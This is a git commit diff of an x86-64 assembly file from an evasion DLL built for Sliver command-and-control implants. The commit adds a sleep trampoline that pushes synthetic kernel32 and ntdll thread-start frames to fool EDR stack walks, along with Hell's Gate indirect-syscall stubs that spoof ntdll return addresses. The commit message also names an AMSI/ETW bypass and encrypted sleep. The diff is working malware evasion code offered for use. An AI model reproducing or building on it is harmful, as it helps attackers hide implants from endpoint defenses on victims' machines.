Valak evasion DLL for Sliver implants. ChaCha20 encrypted sleep, synthetic callstack frames via indirect syscalls, HWBP AMSI/ETW bypass, FreshyCalls, CRT-free.

This commit is contained in:
2026-07-18 09:30:00 +01:00
parent fe2726a430
commit 7ecc30f1cd
24 changed files with 727 additions and 466 deletions
+50 -15
View File
@@ -7,25 +7,61 @@
wMask: .long 0xDEADBEEF
qMask: .quad 0xDEADBEEFDEADBEEF
// Synthetic frame globals, set by frames.zig init_frames().
// Frames through kernel32!BaseThreadInitThunk and ntdll!RtlUserThreadStart.
.global qFakeRtlUserThreadStart
.global qFakeBaseThreadInitThunk
.global qRtlUserFrameSize
.global qBaseThreadFrameSize
qFakeRtlUserThreadStart: .quad 0
qFakeBaseThreadInitThunk: .quad 0
qRtlUserFrameSize: .quad 0
qBaseThreadFrameSize: .quad 0
.text
.global hells_gate
.global hell_descent
// Stack-spoofing trampoline for evasion_sleep.
// Captures entry RSP (pointing at return address to Go), zeros it so EDR stack walks
// terminate at this frame, then delegates to the Zig implementation.
// Returns to Go with the original return address restored.
// evasion_sleep trampoline. Pushes synthetic frames through the canonical
// Windows thread init chain: kernel32!BaseThreadInitThunk ntdll!RtlUserThreadStart.
// EDR stack walk sees legitimate thread state, not a gap.
.global evasion_sleep
.section .drectve
.ascii " -export:evasion_sleep"
.text
evasion_sleep:
mov r11, [rsp] // save return address to Go
mov qword ptr [rsp], 0 // zero it on the stack
sub rsp, 0x28 // shadow space + alignment
call evasion_sleep_inner // Zig: RC4 enc NtDelayExecution RC4 dec
add rsp, 0x28 // clean up shadow space
mov [rsp], r11 // restore return address
// Save Go return address. RSP points at it on entry.
mov r11, [rsp]
mov r10, rcx // save sleep duration (first arg from Go)
// Build BaseThreadInitThunk frame (calls RtlUserThreadStart).
mov rax, qword ptr [rip + qBaseThreadFrameSize]
sub rsp, rax
mov rcx, qword ptr [rip + qFakeRtlUserThreadStart]
add rcx, 0x14 // offset past BaseThreadInitThunk prologue
mov [rsp], rcx
// Build RtlUserThreadStart frame (chain termination).
mov rax, qword ptr [rip + qRtlUserFrameSize]
sub rsp, rax
mov qword ptr [rsp], 0 // end of chain
// Save desync RSP for teardown. Call Zig implementation.
mov rbp, rsp
mov rcx, r10 // restore sleep duration
sub rsp, 0x28 // shadow space + alignment
call evasion_sleep_inner
add rsp, 0x28
// Restore original stack: rewind through synthetic frames.
lea rsp, [rbp]
mov rax, qword ptr [rip + qRtlUserFrameSize]
add rsp, rax
mov rax, qword ptr [rip + qBaseThreadFrameSize]
add rsp, rax
// Restore Go return address and return.
mov [rsp], r11
ret
hells_gate:
@@ -38,9 +74,8 @@ hells_gate:
mov qword ptr [rip + qFakeReturnEnc], rax
ret
// Callstack spoof: push a standalone ret from ntdll .text before jmp to
// the syscall;ret gadget. The gadget's ret returns there → ntdll frame on kernel callstack.
// Ref: WithSecure CallStackSpoofer https://github.com/WithSecureLabs/CallStackSpoofer
// Push standalone ret from ntdll .text before jmp to syscall;ret gadget.
// The gadget's ret returns there so kernel callstack shows ntdll frames.
hell_descent:
mov r10, rcx
mov eax, dword ptr [rip + wSystemCallEnc]
@@ -48,7 +83,7 @@ hell_descent:
mov r11, qword ptr [rip + qSyscallInsAddressEnc]
xor r11, qword ptr [rip + qMask]
mov rcx, r9 // save arg4 rcx free after mov r10,rcx
mov rcx, r9 // save arg4, rcx free after mov r10,rcx
mov r9, qword ptr [rip + qFakeReturnEnc]
xor r9, qword ptr [rip + qMask]
test r9, r9
@@ -56,4 +91,4 @@ hell_descent:
push r9
.Ldone:
mov r9, rcx // restore arg4
jmp r11
jmp r11